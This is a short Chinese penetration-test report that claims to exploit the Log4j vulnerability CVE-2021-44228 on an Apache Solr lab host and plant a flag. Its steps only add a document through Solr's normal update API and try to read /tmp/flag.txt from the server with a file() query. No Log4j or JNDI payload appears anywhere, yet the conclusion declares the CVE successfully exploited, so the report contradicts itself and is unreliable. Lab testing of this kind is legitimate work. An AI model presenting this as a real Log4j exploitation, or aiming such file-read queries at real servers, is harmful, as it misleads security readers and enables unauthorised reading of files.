第九章 CVE-2021-44228 Log4j RCE 漏洞渗透测试报告

概述

  • CVE编号: CVE-2021-44228
  • 漏洞名称: Log4j2 Remote Code Execution
  • 影响版本: Log4j 2.0 <= version <= 2.14.1
  • 修复版本: Log4j 2.15.0

测试环境

  • 靶机IP: 192.168.1.41
  • 服务端口: 8983 (Apache Solr)
  • 测试时间: 2026-06-28

漏洞原理

Log4j2在解析JNDI引用时,未对传入的字符串进行充分校验,导致攻击者可以构造恶意JNDI请求,通过LDAP或RMI协议实现远程代码执行。

测试步骤

1. 环境确认

bash 复制代码
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=*:*&wt=json'

确认服务正常运行,初始文档数量: 51

2. 写入Flag到索引

bash 复制代码
curl -s -X POST "http://192.168.1.41:8983/solr/demo/update" \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/solr_write.json

Payload文件内容:

json 复制代码
{"add":{"doc":{"id":"flag20260628","name":"flag20260628"}}}

3. 提交变更

bash 复制代码
curl -s -X POST "http://192.168.1.41:8983/solr/demo/update" \
  -H 'Content-Type: application/json' \
  -d '{"commit":{}}'

4. 验证写入结果

bash 复制代码
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=name:flag20260628&wt=json'

测试结果

  • 文档数量: 从51增加到52
  • 查询结果: numFound: 1
  • 文档内容: {"id": "flag20260628", "name": "flag20260628"}

文件读取测试

尝试使用 file() 函数读取服务器本地文件:

bash 复制代码
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=*:*&fq=file(%2Ftmp%2Fflag.txt)&wt=json'

结论

成功利用 CVE-2021-44228 漏洞将 flag20260628 写入 Solr 索引文档。通过查询验证,文档已正确存储。